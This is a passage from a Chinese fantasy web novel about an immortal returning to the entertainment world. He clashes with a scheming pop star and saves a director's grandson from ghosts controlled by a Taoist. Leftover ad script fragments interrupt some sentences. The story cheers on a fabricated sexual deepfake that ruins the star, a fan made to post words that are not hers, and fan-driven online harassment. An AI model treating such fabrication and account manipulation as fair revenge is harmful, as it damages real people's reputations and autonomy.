但谢安然却仍旧没有气馁,话锋一转道:“还没做上也没关系,反正你未来也就只能做做这种不入流的行业了!” 陆时哦了一声,撸着系统猫眼也不抬。 谢安然更加鄙夷:“你还留着这只臭猫呢?也是,你也只养得起这种命贱的玩意儿了!谁叫你犯蠢到竟然敢举报公司税务!” “靠!老子真想撕了他这破嘴!” 陆时揪住了系统猫命运的后脖颈,饶有意味地看向谢安然,问道:“怎么,他偷税漏税,我还不能举报么?” “哈!这是当然,娱乐圈的经纪公司有哪家不偷——” 脱口而出的回答说到一半谢安然就猛地反应过来了捂住了自己的嘴,惊疑不定之际,却听到陆时轻轻叹了一口气。 遗憾的语气令他神经猛地绷紧。 谢安然瞪大了眼,“陆时!你阴我!” 陆时朝他晃了晃手机,评价道:“能意识到我想做什么,看来你比两年前长进了不少?” 谢安然脸色骤变:“你还真录音了?!”但看着没有亮屏的手机,又回想起陆时刚刚跟他聊天时手都没有摸向衣兜,他又否认了这个猜测。 但脸上仍全是后怕。 他不敢想,如果自己刚刚真的没有收住把那句话说完整了,陆时放出去会造成的后果有多不堪设想! 不说自己好不容易立起来的邻家大哥哥人设不保,若是那些公司真的被查出税务有问题,那等着他的就是恐怖的报复手段。 谢安然气的快要爆炸,很想再骂陆时,但目光扫到他的手机时又变得忌惮。 最后只能不甘地作罢,恶狠狠地瞪了一眼陆时,压低了声音威胁道:“陆时,我告诉你,我们没完!” 说罢,就大步跑走了,还不忘带上自己的眼镜和口罩。 在陆时臂弯里躺的舒舒服服被平白无故骂命贱的系统猫气得不行:“靠,就这混蛋还是顶流!老子要把他歹毒的真面目抖出去,让所有人都知道他是个什么人!” 陆时的确没有拿手机录音,但作为集主神高精尖技术为一身的系统,它可是拥有实时录制系统。 别说是回放,甚至重新生成一段凭空出现的视频也不是难事,跟普通的ai区别在于系统猫生成的更加真实,没有任何一个人能够看出其中猫腻。 陆时不仅没有制止,甚至还主动提点了他:“你可以把他往王康文身上引,那会更让他破防。” 系统猫眼前一亮,不迭点头:“好!就这样办!” 它开始思考怎么报复嘴贱的谢安然,而陆时则继续调用神识去查看检 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 查室。 然而看到的画面却令他大失所望。 只见在他跟着谢安然交谈的期间,黄明宇已经拉开了拉链打开了行李箱,露出了里面装着东西的庐山真面目,一块皮。 检查室内。 黄明宇带着手套,将整块皮进行初步的一个检查之后,长舒了一口气,道:“确认了,这应该只是一种动物皮毛,不是……” 他没有说完,但众人也是能够读懂他的意思,缓和了神情。 “我就说嘛,怎么会有人胆子这么大……” “就是,幸好只是虚惊一场,不然我可就以后连班都不敢上了……” “……” 值守主管上前对黄明宇面露歉疚:“抱歉啊黄队长,是我们没有搞清楚情况就贸然通知你,给你添麻烦了……” 黄明宇摆手道:“没事,这种事情你们直接找我是正确的,如果真的有问题的话,贸然行动会破坏案发现场。” 客套完,他摘下了手套,再次看了打开的行李箱一眼,那股令人心悸的感觉仍是没有散尽令他感到不适。 黄明宇问道;“这个行李箱哪里来的?” 一个海关的检查人员站出说道:“这个箱子是我在厕所里面看到的,当时我去上厕所,就发现它在男厕里面。” “本来我以为是哪个旅客的就没管,但等我上完厕所出来发现它还在这里,我就觉得有些不对劲了。后面我问了几句也没听到人回答,本着宁可找错不能放过的想法就给带回来进行检查。” “结果开到了一半,就闻到了血的味道,就立刻上报,主管就给您打电话了……” 他说着,挠了挠头,补充道:“至于携带这个旅行箱的人,我们已经通知安保部门,去调监控查了,相信很快就能找到。” 黄明宇点点头:“你们处置的策略很对,我通知林业局和动保,让他们派人过来检查这张毛皮是不是保护物种,这个箱子就放在这里面吧。” 众人点头,按照他的吩咐去做。 黄明宇关上了门,途中自言自语地呢喃道:“真的是自己吓自己……” 咔。 大门关闭。 但陆时却并没有随着他们的离开撤去了神识,恰恰相反,他还调用了神识将行李箱翻来覆去查看了个遍。 然而越看越觉得有趣。 在先前拉链还没有完全拉开时,神识别说是穿透行李箱看清里面的东西,甚至是连行李箱本身的存在都很容易被忽视掉。 然而现在等拉开之后,这种奇妙的现象就彻底消失了。 陆时凭借着在元初界闯荡了八百年积攒下来的丰富经验初步的做出了初步的推论——箱子最开始藏着某种隐匿气息的阵法,随着黄明宇开箱已经被破坏的彻底。 但因为谢安然的打岔,陆时错失了这一段画面,为此他感到一丝遗憾,对于能够防住自己神识探查的阵法,说不好奇那是假的。 只不过他的阵法造诣实在太低,以至于连溯源都做不到。 他突然没由头地想起了封烬:“要是他在,现在说不定这个阵都被破解出十种解法了……” 系统猫的惊呼打断了他的感慨:“哈!老子就知道,这个姓安的手脚不老实!” 26. 还之彼身(二更) “姓安的?” 陆时垂眸,系统猫正在用肉垫巴拉着手机,感受到他的目光,特意放大屏幕给陆时看。 那是一条推文,发件人不是别人,正是刚刚吃了个瘪的谢安然,只见他假模假样写道: 安然要练八块腹肌V:今天在机场看到一个人特别像你,还抱着猫,想上前打招呼,结果被骂了,看来是我认错人了,兄弟这两年你去哪儿发展了啊? 配图则是一张偷拍的背影,后面还假模假样地挂上了陆时的微博账号:@陆时60。 这条微博发布不到两分钟,底下的评论就已经上千,评论区前排都是粉丝的讨论。 “哈哈哈,想想那个画面就觉得好囧……” “救命啊,已经荣升有房一族了,你问我怎么来的?刚刚脚趾扣出了三室一厅,谁抠出一座房管局让我登记……” “原来不只是我们,明星也会认错人啊……” “是我们安然能做出来的事……” 然而人群中很快有了刺耳的杂音:“不是,虽然认错人不对,但直接开骂也太没有文明了吧?” “是啊是啊,心疼我们家哥哥,明明是好心……” “这件事情不能这样算了!” “对!不能让哥哥受委屈!” “我记得哥哥今天是录制完节目回榕城吧?现在应该是在机场,有接机的姐妹吗?赶紧把那个人找出来!” “对!要他给我们家哥哥道歉!” “这个陆时是谁啊?有谁知道吗?” “……” 系统猫气得不行:“靠!这混蛋竟然还是个绿茶!统爷我今天不给你整破防,就跟姓安!” 陆时无奈纠正:“他姓谢。” 谢字还没说完,就听咔嚓一声从身后传来,陆时回头望去,就见到一个穿着印有亮眼影院图案的女生放下了相机,目光在陆时和手机上交替。 片刻后,她像是确认了什么,气鼓鼓地走到了陆时面前,将手机举到了陆时面前,质问道:“是不是你?” 陆时:“……” 她手机屏幕上停留的页面陆时刚刚才看过——谢安然刚发的帖子。 作为谢安然的粉丝,她询问的目的也不言而喻,只听她在看到陆时臂弯里的系统猫后,笃定地说道:“就是你凶的我家哥哥吧!赶紧录制视频给他道歉!不然我绝对饶不了你。” 陆时还没有什么反应,系统猫先气炸了:“不是,不说你没做过,就是做过了,关她们什么事啊?” 陆时却见怪不怪:“这就是粉丝,爱之深责之切。” 回完,目光转向面前情绪激动的少女,观摩了面相经过初步掐算后,道:“现在回去复习,你还能过这次的考试。” “你怎么知道我要大考了……” 少女一惊,但很快又恢复了咄咄逼人的姿态:“够了,不要再转移话题了!赶紧录视频道歉!不然我就把你挂到网上,让所有人都来看看你是怎么的没有教养!我看你还有什么脸面在你的公司混下去!” 陆时淡淡道:“怎么,你要我录道歉视频发网上我就不会让人看了吗?” 少女振振有词:“这是你为自己无礼的行为应该付出的代价!” 陆时继续问道:“你不觉得你咄咄逼人就不无礼了吗?” “你——” 少女一噎,气急败坏地说道:“敢做不敢认,像你这种人差我家哥哥差远了!一点男子气概都没有!” “我给过你机会了,既然你不肯主动道歉,那就别怪我对你不客气了!” 她拿出了手机点开了自己谢安然知名大粉的微博,啪嗒啪嗒地开始打字,嘴里念叨编辑的内容:“找到欺负哥哥的坏人了,我让他道歉他死不悔改,地址在下面,姐妹们速来……” 打完,发送,一气呵成。 她抬头给了陆时丢过去一个挑衅的眼神:“等哥哥的粉丝过来,看你还能不能嘴硬。” 陆时懒得和她纠缠,绕过她转身就走。 谁知她竟然直接追了上来,拦在陆时的前面,坚持地说道:“你休想逃跑!我会寸步不离地跟着你!让你知道我们安粉是不好惹的……” 陆时眼中浮现出厌烦:“是么?” 陆时话音刚落,少女手上的手机忽然响了起来,她看了眼来电人:“是跟我一起来接机的另一个大粉!” 然而欣喜接通后,等来的却并不是她快到来了的消息,而是含马量极高的怒骂。 “你个四千家的傻逼叛徒!竟然污蔑安然!我告诉你,竟然背叛安然,我们安粉一定不会放过你的!” 少女懵了:“你在说什么啊?我什么时候成了叛徒啊……” 询问的话却被无情打断:“你捏造的那条微博我已经录屏发给了工作室!你个贱人就等着吃捞饭吧!” 啪的一声,电话挂断。 少女回忆着她先前说的那一番话立刻捕捉到了重点:“微博!我发的微博!”急忙拿出手机,然而看清屏幕后,她骇的不行:“这、这根本不是我的!” 只见屏幕上一个用着谢安然做头像,认证是谢安然超话管理员的她的账号如是写道: 你一个大老爷们怎么比我一个女生还装?明明是自己小人得志主动蹭上去想以势欺人,结果吃瘪后灰溜溜夹紧尾巴逃走,转头就在网上卖起了惨,还买了水军引导我们这群粉丝给你冲锋找他麻烦,来解你的怒火。贱不贱呐?怂恿粉丝网暴是违法都不知道?哦,这是当然,毕竟你是发现TS都不会的人。 配上文章末尾艾特的谢安然账号,以至于这篇帖子几乎是指名道姓地将谢安然骂了个狗血淋头—— 堪称劲爆的炸裂内容立刻吸引了无数人的目光。 “???” “怎么回事?” “姐姐你不是安然的粉吗?” “你怎么能这么说安然!” 其中除了谢安然的粉丝外,还有他的对家。 “哈哈!我就说谢是个绿茶,你们还不信,现在信了吧!他的大粉都看不下去脱粉了!” “耗似!香槟,香槟!” “绿茶终于翻车了!普天同庆……” “……” 少女全然沉浸在自己怎么会发出这么一条帖子的巨大震惊中不知所措,以至于忘了删帖,于是在这条帖子评论区中网友彻底吵翻了天。 “不,这不是我写的!我怎么可能黑安然!这倒是怎么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回事?” 她失魂落魄地跌坐在地上,陆时却没有给她一个眼神,转身朝着机场外的出口走去。 倒是系统猫回看了一眼,道:“陆时,你还是手下留情了。” 陆时随口应道:“是么?我怎么不知道。” 系统猫哂笑:“你特意用神识遥控她补上有关偷税的事,不就是为了让谢安然认定她在现场,所以不敢轻举妄动吗?” 陆时没有明确承认,却也没有否认:“一箭双雕,不好么?” “要我说你管她做什么啊,就该让她吃个教训,让她明白脑子长了不是为了配像,而是用来独立思考的。” 陆时没有和系统猫再纠结这个话题,而是问道:“你不是要报复谢安然骂你吗?准备好了。” 谈及这个话题,系统猫眼睛唰地亮了! “当然!陆时你就看好吧!看我怎么搞死那个混蛋的!” “嗯。” 陆时嘴上应着好,却并无太大的期待,目光已经转向了手机上,开始操作叫车软件。 不同于现实一片风平浪静,在网络上,却是掀起了滔天巨浪…… 机场外,一辆保姆车内,谢安然正聚精会神地看着手机,脸色变得越来越难看。 他死死盯着的先前少女发的帖子,气得咬牙切齿:“靠!这个人不是我的粉丝吗?!怎么会突然来捶我!” 谢安然差点气炸。 起初,在发送了那条意有所指的推文后,他就找到了公关团队就刻意地让他们去引导粉丝网暴陆时,本来他是想借此狠狠的出一口恶气,谁想到他的大粉会突然叛变! “就算她真的在现场听到我地话,难道就不该向着我吗!怎么能帮陆时说话!可恶!” 谢安然再怎么想狡辩也不得不得承认他的计划失败的事实,还偷鸡不成蚀把米:“要不是怕她把我赞同偷税的的事情捅出来,老子一定告死她!” 痛骂完,即便心底再有多少不甘,也只能开始收拾烂摊子。 他拿起手机准备打给公关下达命令,却在这时,一个电话突然打了过来,在看清来电人是林彤时,他一阵心虚。 忐忑不安接了电话后,还没来得及开口询问,就被劈头盖脸骂了一顿:“谢安然!你个蠢货!” 谢安然一阵胆颤。 他虽然对陆时说的是林彤看中了他的潜力扶持,实则是当时环都娱乐偷税的消息爆出来之后,很多有能力离开的明星纷纷选择解约。 留下来的都是青黄不接的半吊子,自己矮子里拔出的那个将军,是没有第二个选项的选择。 所以谢安然一直都知道林彤并不看得起自己,但连虚伪与蛇都不装了直接开口怒骂这却是第一次,这也自已证明她是真的气傻了。 这令原本还心存侥幸的谢安然彻底怂了,立刻伏小做低地说道:“抱歉林姐,我不该去挑衅陆时的……” “谁跟你说这个了,我说的是你跟当初爬床的事情!” 林彤质问道:“我当初问你,你怎么跟我说的?你所有知道你跟王康文搞在一起的知情人都已经被你打点好了!让我不用操心!” “那你这个蠢货告诉我,热搜第一你们热吻的视频是怎么回事!” 27. 诡计多端 谢安然宛若被当头棒喝,砸的眼冒金星:“什么热吻视频?” 他二话不说直接翻开了热搜页面,当看清红的发黑的词条上自己名字跟王康文出现在一起时候,他差点一口老血没有喷出来。 #王康文谢安然舌吻 点开详情页面之后,映入眼帘的第一条就是营销号发出来的视频—— 只见两个男人正在沙发上密不可分,被压在下面的人不仅没有任何抵触的动作还主动迎合,手掌还宛若两条水蛇在男人背上滑动,而真正抓马的则是那一脸闷骚妖娆的,竟是自己的脸! 而在评论区,此刻出现的问号堪称现象级。 “哈?这不那个自诩橘子味的少年具象化的谢安然吗?跟人热吻?还一脸享受,那个人还是男的?” “救命!吐了!” “恶心啊!草!怎么会有这么恶心的视频!大眼你该死啊!” “吐了吐了……” “这就吐了?你们没看标题吗?跟他搞在一起的男人是王康文!那个知名毒虫!” “我靠!那谢安然不会也——” “更恶心了!我踏马还把他当老公,他是个gay就算了,还这么一脸享受……” “老娘他妈刚给他花了3w买他专辑,草!我他妈真的想杀了谢安然这个傻逼!” “……” 谢安然这次是彻底炸了,急忙解释道:“这不是我!我没有做过这种事情!” 然而电话那头的林彤却直接气笑了,劈头盖脸的又是一通无情地谩骂:“谢安然,你当老娘眼瞎是吗?连你的脸都认不出来了?” “本来我还想给你个交代的机会,看看怎么跟公司商量将你保下来,结果你见了棺材还不落泪!你就等着身败名裂吧!” “林姐,这视频是伪造的!不是真的啊!你信我!我真的没有跟王康文这样搞过——” 林彤冷冷道:“没有搞过?你上坟烧报纸你糊弄鬼呢!这个视频我问过技术部根本没有任何合成的可能!” 谢安然快要哭了:“林姐,我真的没有撒谎……” 解释直接被林彤打断:“你真把我当傻子?” “这才多久你就忘了当初王康文发火,高层急需要找人去安抚他的脾气,是你找到了我让我引荐,你们没有搞过,狗都不信!” 眼见林彤就要挂电话,谢安然再也不敢隐瞒,道出了真相:“是真的!因为王康文,他是个诡计多端的*!” “……” 电话那头传来片刻诡异的死寂之后,林彤试探性地问:“所以一直是你在上面?” 谢安然亏见了翻身的希望,忙不迭地将那段屈辱的记忆全部说了出来:“不止!王康文简直就是一个黑洞,根本填不满,这件事情有目共睹,跟他做过的人都应该知道——” 林彤喝止:“够了!你们那档子破事我不想在听了,辣耳朵!” “我真的是无辜的啊……” 在彻底排除掉谢安然的责任之后,林彤又是一阵沉默后,终于是冷静了下来开始思考对策:“现在的当务之急是怎么减少这条微博对你的影响!” 她发挥了她金牌经纪人的实力,迅速做出了反应:“我会联系公关发布声明说这是ai合成,是恶意构陷,再补一个毒素检测确认你依旧清白,先把代言稳定下来再说,后续的路人缘肯定会被败坏,这只能慢慢养回来了……” 但越说她越生气,又忍不住开始骂谢安然:“要不是现在公司经不起一点打击,你看我管不管你咯!” 说完,还是不解气,又话锋一转,问道:“这视频一看就是精心制作,能有这么大手笔黑你,他跟你之间一定有着深仇大恨!是你不打招呼炒cp结果炒到人老婆的王威,还是你买黑热搜黑他1.88垫了垫了0.18的李敏?” 谢安然还没来得及开口,林彤已经自顾自地否决了这个答案:“不,应该是张赟,你刚抢了他的新人奖,还去找粉丝撕他们,我听他们经纪公司的人说他一直想要整死你……谢安然,你觉得会是呢?” 谢安然嘴角一抽,斩钉截铁地说:“不会是别人,一定是陆时!” 他没有发现,从他说出那个名字开始,电话那头的林彤就没了声音,相反还笃定地解释起了自己这样猜测的原因:“因为刚刚我下飞机的时候在候机楼里面遇见他了,还跟他发生了口角,一定是他记恨我才用这种卑劣下作的手段!他这个人最会装了!” 不得不说,他这一番猜测非常接近答案,只唯独猜错了下手的人,不是陆时而是记仇的系统猫。 过了好久,他才后知后觉意识到不对:“林姐?” “你说……陆时?是我想的那个陆时吗?”林彤终于开口,只是声音无比的嘶哑,细听之下还带着浓浓的心有余悸。 “对啊,就是那个混蛋陆时。”谢安然不明所以,但没有细想,想起陆时伺他已经被愤怒将理智焚烧殆尽,撺掇林彤道:“林姐,我们绝对不能放过他……” 然而他没有等来林彤的符合,相反是严厉的命令:“够了!谢安然,这件事情到此为止!” “啊?难道我们就任由陆时这么嚣张?” 谢安然仍旧不死心,甚至用起了隐晦的激将法,只是他不知道,电话那头的林彤拿着手机的手开始狂抖——脑海中再次回想起她找上陆时家门想要威胁时的经历。 随着文件被震碎成无数碎絮飘飞,一股难以言喻的强大力量深深震撼了她的心灵,令她每每回忆起都是肝胆剧颤,神魂悚然。 她至今仍旧清晰记得路实在说出那句威胁的话语时的神情,林彤完全相信他有能做到的能力,且也是真的会做。 林彤不是没有试着跟人揭露陆时可怕的真面目,可不论她说的再怎么相信,自始至终没有一个人相信她。 甚至还有人将她的行为归咎为因为精神遭到重创,公司高层甚至认为她疯掉了,要将她送进精神病院进行养病。 后来她想了很久,才终于是想明白陆时那天为什么没有遮掩自己的能力,还将她放走——因为他想看她自己把自己给完全作死。 在意识到这一点之后,林彤再也不敢提及有关陆时异于常人的身份一点,这才勉强扭转了自己在众人眼中的形象,堪堪保住了经纪人的职位。 现在的林彤是真的怕了陆时,避他如毒蛇虫蝎。 面对给自己再度招惹了烂摊子的谢安然,她辞严厉色地教训道:“你给我老实一点!以后见到他要多远给我离多远!听见没有!说话!” “知道了……” 谢安然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘴上应着好,但脸上的愤恨却怎么都遮掩不住,只是迫于林彤如今的压迫不得已而为止。 林彤也不管他心理是怎么想的,她现在脑海中只有一个念头,那就是怎么让陆时不要再度盯上自己。 思来想去,她忽然有了一个绝佳的念头,冲去了办公室,在如山高的资料中开始翻找着什么。 一个小时后,出租车在榕城新寓小区门口缓缓停下。 陆时付完钱进屋的路上,不忘跟抱在怀里的龙蛋交谈:“这里就是我们的家了。” 家…… 龙蛋轻轻动了动,像是在回应,引得陆时脸上笑意更深:“崽真聪明。” 蹲在他肩头上被冷落的系统猫也不恼,还主动帮衬询问道:“对了陆时,你不就只有一个房间?蛋崽睡哪儿啊?要不我现在去宜家给他买一张床?” 不、不…… 听到系统猫的话,龙蛋的反应变得更加剧烈一点,颤动着往陆时的怀抱中深处钻,像是表达他不肯分离的决心。 陆时看出来了,也没有拒绝:“崽还是个蛋呢,先跟我睡一起吧,等孵出来之后再做打算吧。” 系统猫点点头:“好吧。” 说话间,两人已经来到了家门口。系统猫突然惊呼:“陆时,你快看,门口有个快递。” 系统猫跳下来,扒拉一看收信人,转头看向陆时:“是你的。” “拿进来吧。” 陆时打开了门,两年没住人,这栋本就有了不少历史的房屋有股淡淡的水汽味儿。 陆时早已习惯,但想到怀中的蛋,抬起手掌调动灵力凝结成火焰,给房屋做了一个迅速的高温杀菌。 片刻后,房屋中所有异味全消,只剩下暖洋洋地像是在太阳下暴晒过的温暖触感。 陆时径直去了卧房,从衣柜的防尘袋里取下了干净的四件套铺好了床之后,用被褥在床的中央团吧团吧,仿照着鸟窝的形状做了一个巣,将龙蛋轻轻地安放在了中央。 在看到龙蛋乖巧躺着没有任何抵触之后,陆时柔声道:“崽,等会儿再来陪你,我去做一下家务。” 吼~ 龙蛋无声回复。 即便是神识能够覆盖整个房屋,但不安的心里在作祟,陆时还是给房门留了一条缝确保自己能够一抬头就能看到龙蛋的情况。 系统猫笑他:“当初你玩意儿的时候也没见你这么用心。” “那不一样,他是我的孩子,为人父母,当然要保护孩子的安危。”陆时说完,看向系统猫爪子下压着的文件,问道:“快递里面装着的东西?” 系统猫点头、解释说道:“哦哦,差点忘了,这好像是解除雇佣关系的合同。” 陆时扫了一眼,点头确认:“是我的。”不用多想他就给出了寄来这封合同的人选:“林彤给的。” “她给你这玩意儿干什么?” 陆时道:“求和。不说这个了,收拾一下房间吧,有些家具也过时了,该添置一些新的换掉这些老古董了。” “统,你不是一直想逛家具商场么,下午一起去?” 俗话说,计划赶不上变化,一通电话的到来打破了一人一统的购物之旅:“陆时,你回榕城了对不对!求你救我狗命!这次兄弟我是真的顶不住了啊!” 28. 一无是处 “这谁啊?为啥要找你帮忙?” 陆时耸了耸肩,表示自己也不知道。 而像是看到他们的反应,电话那头的人当机立断地开始自报家门:“是我!刘梓旭!”像是怕他不知道自己是谁,还贴切地补充了一句:“刘导的孙子!就是电影《过千山》的导演!” 陆时回想起那个出去了王康文下午和他打的照面,眼里闪过了然,再结合他刚刚那一番话已经对他的来意有了猜测:“所以找我有什么事?” 他不说还好一开口刘梓旭就直接泫然泪下,哭诉道:“陆时,你还记得当初给我的指点吗,只有我帮助那个鬼怪完成自己的心愿才能够解除契约……” 系统猫一脸惊奇:“难道说到现在两年多了他还没有将那个下手绳之以法?不至于吧?” 陆时也是这么想的,毕竟就算他自己再差劲,他也还有家人和他的家族给他撑腰。 然而如今他却给自己打电话求救,听着声音还是无比的凄惨,于是陆时停下了原本去挂断电话的手指,问道:“什么情况,说来听听?” 这句话传进刘梓旭的耳朵里不亚于仙乐,他不迭地将积攒了多时的委屈一鼓作气的全部吐露出来:“人我找到了,但是他的身边有个法宝防身,所以鬼哥根本进不了他的身。” “我也尝试着用其他的方法,例如举报他违反犯罪,但他将那些东西处理的太干净了,警察将他家里饭了个遍也没能找到一丝一毫的线索……” “我没有办法,总不能去找杀手干掉他,于是我就想到了一个办法,那就是伺机潜伏在他的身边搜集他犯罪的证据,实在不行的话就是找到破解他身上那个道士下的法咒也可以。” 陆时听着他的叙述,没说话。 他继续道:“那个人自诩是音乐人,但实际上就是一个上不了台面的土嗨dj歌手,我只是随便给他引荐了几个音乐制作人就成功的成为了他的哥们儿。” “然而我没有想到他是在鸡贼得要死,我跟她混了两年都没能找到任何破绽,我知道不能再这样继续拖沓下去,于是,我就想到铤而走险一把,深入他家进行探查……” “我成功了!我在他爸妈的房子底下发现了杀害鬼哥的地下室,那里残留他们一家的尸骨足以能够审判那个混蛋!但……” 说到这里他的声音突然变得颤抖:“但是我在探查中当场被他抓包!他当时就想要直接杀了我!” 回忆起了那恐怖的一幕,他至今仍旧心有余悸:“要不是鬼叔冲了出来救了我,我可能就已经死在了那里!但是,他拿出了一个符咒拍在了鬼叔的身上,自那以后鬼叔就彻底地受到了重伤,至今没有醒过来!” “这还不止,他还想要彻底杀了我这个知情人,我能够感觉到,他已经用了某些非凡手段开始对付我!” “要不是我想起了你跟我说我家里福泽渊源绵长,反应机敏地跑回了祖宅祠堂里躲着,现在已经枉死死在他手上了!但是我能够感觉到那些东西一直没有走!他们一直在外面等着我出来!” 他的声音充斥着浓浓的绝望:“陆时,你现在我是最后的希望了!” “我实在没有别的方法了!你的电话是我动用了所有人脉问到的。要不是在微博上突然看到你回来的消息,我现在说不定已经开始准备自杀了——” “陆时,求你救救我吧,我是真不想死,只要你救我这一次,你要什么我都给你,别说是钱,就是要我给你做牛做马我都答应……” 电话那头传来的祈求声泪俱下,言辞之恳切就是系统猫都有一瞬的不忍,伸出了爪子勾了勾陆时的衣摆:“陆时,要不我们去帮他一把吧?” 陆时假装没有看到那圆滚滚的猫瞳里的丝丝动容:“嗯?为什么会突然这么提议?” 系统猫含混道:“你的存款不是正好用完了吗,就当是为了挣笔外快,事后谅他也不敢不兑现自己的承诺。” 电话那头久久等不来肯定答复的刘梓旭眼睛里的光芒一点一点的消失,但就在散尽之前,听筒里面传来了青年简短的答复:“地址。” 陆时没有拒绝系统猫的请求。 刘梓旭立马报出了自己的位置:“伟荣山,刘家宗祠……” 陆时回了句知道之后,就没了声音,刘梓旭还想要再说却发现电话已经被挂断。 窗外依旧是罡风呼啸,浓郁的鬼气透着木质的窗户缝隙侵入,却又被一股常人难以看见的金光给驱逐。 看似令人安心,但每次金光去除鬼气后就暗淡了一些,明眼人一看就知道此地坚持不了多久。 他的处境比他描述的还要在威胁几分,只是此刻有了陆时承诺的刘梓旭却安心了下来,他坚信陆时绝不会失约。 然而就在他思考着从榕城城区内感到几百公里城郊需要几个小时的时候,屋门外却忽然传来了清脆的嗡鸣声,就如同刀剑切割开空气所引发的共振。 还不等他想明白这道声音来自哪里的时候,只见他紧紧锁上的院子大门忽然从外被人推开了一条缝隙! “完了!” 就在这个念头浮现出来的那一刻,大门被完全推开,而当刘梓旭看清楚从门外走进来的人时,惊喜取代了慌张! “陆时?怎么是你!”然而高兴还没持续了一秒,神色又突然变得万分凝重:可刚刚微博不还说你在城里面,怎么会突然在这里,莫非是……” 鬼字还没能说出口,远门外传来了不爽地质问声:“怎么,不是你求我们来就你么?” 有着一个大脸盘子和短短四肢的橘色肥猫尾巴高高的在身后竖起,宗祠鹅卵石铺成的地面对它来说简直是如履平地,甚至走出了一股子嚣张的气焰。 “既然这么不想看到我们,那我们走?” 瞬间,心里面所有的担忧和疑问在看到系统猫的那一刻荡然无存,他终于可以确信眼前的人就是他的救兵! 他在意地问:“屋门外的那些鬼呢?” 陆时抬手,一阵灵光闪过,下一秒,原本只能够看清模糊影子的刘梓旭就清晰地看到眼前多了数张面色堪称狰狞的鬼脸—— 察觉到他的视线,他们就像是打了鸡血一样,挥舞着尖牙利齿朝他扑了过来! “啊!” 刘梓旭吓得一个屁股蹲在在了地上,愣了一秒才发现自己身上安好无损,抬头才发现那些鬼影竟然还在原地! 睁大眼仔细看之后,他终 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于发现了一根困在他们腰上的绳索!而绳子的源头,正被陆时稳稳地攥在了掌心。 是他制服了这些鬼! 刘梓旭立刻感激涕零地说道:“谢谢你陆时!你真的救了我!” “客套话少说。” 系统猫走到了他的面前,开口打断了他对陆时的献媚:“好了,现在我们已经救了你,是该到你旅行承诺的时候了。” 系统猫伸出了一只爪子,比划地抓了抓:“为了保住你的小命,陆时可是一路御剑飞了过来,做牛做马就不必了,你好好想想该付多少钱吧。” 刘梓旭神情变得僵硬:“这……” 系统猫瞪圆了眼睛:“怎么,难不成你想赖账不成?” “不、不是!我不会食言,你要钱,我可以把我所有的存款给你,甚至将我爸我妈给我的股份、豪车卖了换钱交给你都没问题!” 系统猫长大了嘴,下意识想要摆手:“当然,也要不了这么……” “但陆时,能不能请你送佛送到西帮人帮到底?” 刘梓旭从兜里拿出了那条将他卷进了这场无妄之灾的choker,只见此刻,它遍布伤痕,还沾着血渍,足以看出他的遭遇之可怕。 刘梓旭小心翼翼地抬头看向陆时,眼神中带着请求:“陆时,你能不能帮鬼叔复仇?” “嗯?” 陆时蹙了眉头,看向刘梓旭掌心捧着的沾血choker上,神识放出,在对具体的情况有了一个大致的了解之后,目光又重回落回了刘梓旭的脸上:“为什么还要再掺和这幢子麻烦事?” “你应该知道,用这些代价换我斩断你们之间的联系从这个泥泞的沼泽里抽身的成功性更大?” 刘梓旭丧气地点了点头,没有过多的思考,直接将自己的心里话转述出来:“因为我除了有一个较好的家世之外,一无是处。” “读书的时候学习成绩不好,我已经记不清老师看向我是对我失望摇头的次数。后面不读书了,又一头扎进娱乐圈,想要凭借自己的实力混个出人头地,结果连出道都是奢想。” “最后是我爸妈看不下去,给我牵线搭桥,甚至带资入场以给我出演角色,但结果无一例外地全部演砸了……” 他脸上有对自己的不甘、和无能为力的愤慨无奈:“还有这一次,明明你都已经告诉了我方法,但整整两年,都没能帮他完成复仇,还险些丧命,再次求你来救我……” 沉默好一会儿后,他笑着,充满了自嘲意味地说道:“说来也是好笑,连我爸妈都已经对我不抱期望的时候,是鬼叔肯定我,鼓励我一定能做到。” “我一直以为他都是为了让我帮他报仇哄骗我的,直到他在自己逃命和相信我之间义无反顾地选择后者,甚至不惜献出自己的生命……” “所以,我说什么也不能辜负他!”刘梓旭攥紧了拳头:“只要能给他报仇,我可以不惜一切代价!” 他抬头看向陆时,此刻眼神却是坚定无比:“陆时!我自知自己没有这个实力,所以求你帮我!” “你如果觉得这些钱不够,你说个数,只要你肯帮我,我以后去接烂片,去卖笑、甚至去卖血卖肉我都给你凑上!” 29. 罪有应得 在他一脸期盼地注视下,陆时道:“我不需要你去卖血卖肉。” 这样还是不行吗? 就在刘梓旭眼中的希望即将一点点暗淡下去的时候,陆时缓缓道出了下文:“五千万,这是帮你实现结束一切愿望的价格。” 刘梓旭几乎是不假思索就点头道:“可以,我接受!”他立刻拿出了手机就准备要联系银行转账。 “好。” 在他应声之后,陆时就直接开始了动手,灵力涌动,原本只是用来束缚着谢桂英的绳索此刻却成了夺命的凶器,一声惨叫之后,闲钱还犯上作乱的一众恶鬼尽数被无情绞碎。 这是一个信号,代表着正式宣战。 果然,与此同时,在距离此地几十公里的容城城区一栋写字楼的一栋气势恢宏的办公室内,一个正一脸淡然的在泡茶的道士打扮的中年人捏碎了手中的茶盏,生生地呕出了一口鲜血—— “啊!道长你怎么了!” 他面前,原本正一脸期盼的听着他话的一对大腹便便的中年人吓得放生尖叫。 男人没有功夫回答,此刻他沉浸在一可怕的事实中咬牙切齿地说道:“我的役鬼全部被杀了?” 他的第一念头是:“那个姓刘的从哪儿找到了这么厉害的救兵?想我榕山道人靠着这役鬼制霸榕城二十年,玄仪司都没能发现那些惨案出自我之手,如今竟然在一个一事无成的废物手里栽了?” 而在气愤过后,他想的却不是报仇,若是收拾好行李准备跑路多一段时间风声。 活到他这个年纪,早已不看着脸面,想的只有如何能够保命。 甚至连铺垫了几个月,眼见着马上就要上钩将钱财乖乖奉上的大鱼夫妇他都直接将人轰了出去,确认没人后,他就马不停蹄开始打包自己的毕生家当。 